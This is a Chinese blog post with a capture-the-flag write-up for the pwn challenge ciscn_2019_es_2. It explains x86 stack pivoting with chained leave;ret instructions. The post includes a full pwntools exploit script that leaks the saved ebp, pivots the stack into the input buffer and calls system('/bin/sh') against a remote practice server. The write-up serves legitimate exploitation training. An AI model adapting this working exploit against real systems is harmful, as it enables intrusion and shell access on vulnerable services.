pwn | ciscn_2019_es_2
pwn | ciscn_2019_es_2
x86 ret2text 栈迁移
这是我第一次做栈迁移的题目,浅浅记录一下思路
关键的利用点在于利用leave ret的组合把esp搬到低地址的地方(也就是我们输入的地方)
这题有两次输入,第一次通过溢出获取ebp地址上的值,也就是原ebp的地址
这时候先覆盖ebp地址上原ebp的值为输入的起始地址,然后让程序跳转到leave ret
关键点就在这里了
这时候第一次执行leave ret,leave:mov esp, ebp; pop ebp;
pop出来的ebp值是我们输入的起始地址
然后ret 到leave ret再次执行
第二次leave: mov esp, ebp; 就是这里,将esp也搬到了ebp的地方,也就是输入的起始地址
然后pop ebp,这时候esp指向的就是输入地址+4的位置,也就是新的返回值地址用于ret,剩下的不用多说了,就是常规操作。
exp:
from pwn import *
context.log_level = 'debug'
elf = ELF('ciscn_2019_es_2')
# p = process('ciscn_2019_es_2')
p = remote("node4.buuoj.cn", 28653)
p.recvuntil('name?')
# leak ebp
payload = 0x28 * b'M'
p.send(payload)
p.recvuntil(0x28*b'M')
ebp = u32(p.recv(4))
print(hex(ebp))
p.recv()
p_leaveret = 0x080485FD
p_system = elf.plt['system']
p_str = ebp - 0x38 # old ebp - 0x38 = input addr
p_binsh = p_str + 16
'''
ebp-0x28 -> s: xxxx
ebp -> old ebp
ebp+4 -> old eip
leave ret
'''
payload = (b'M'*4 + p32(p_system) + b'MMMM' + p32(p_binsh) + b'/bin/sh\x00' ).ljust(0x28, b'A') + p32(p_str) + p32(p_leaveret)
p.send(payload)
p.interactive()
本文来自博客园,作者:Mz1,转载请注明原文链接:https://www.cnblogs.com/Mz1-rc/p/16949046.html
如果有问题可以在下方评论或者email:mzi_mzi@163.com
分类:
ctf_pwn
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 单元测试从入门到精通
· 上周热点回顾(3.3-3.9)
· Vue3状态管理终极指南:Pinia保姆级教程
2021-12-03 sql | LIKE谓词的使用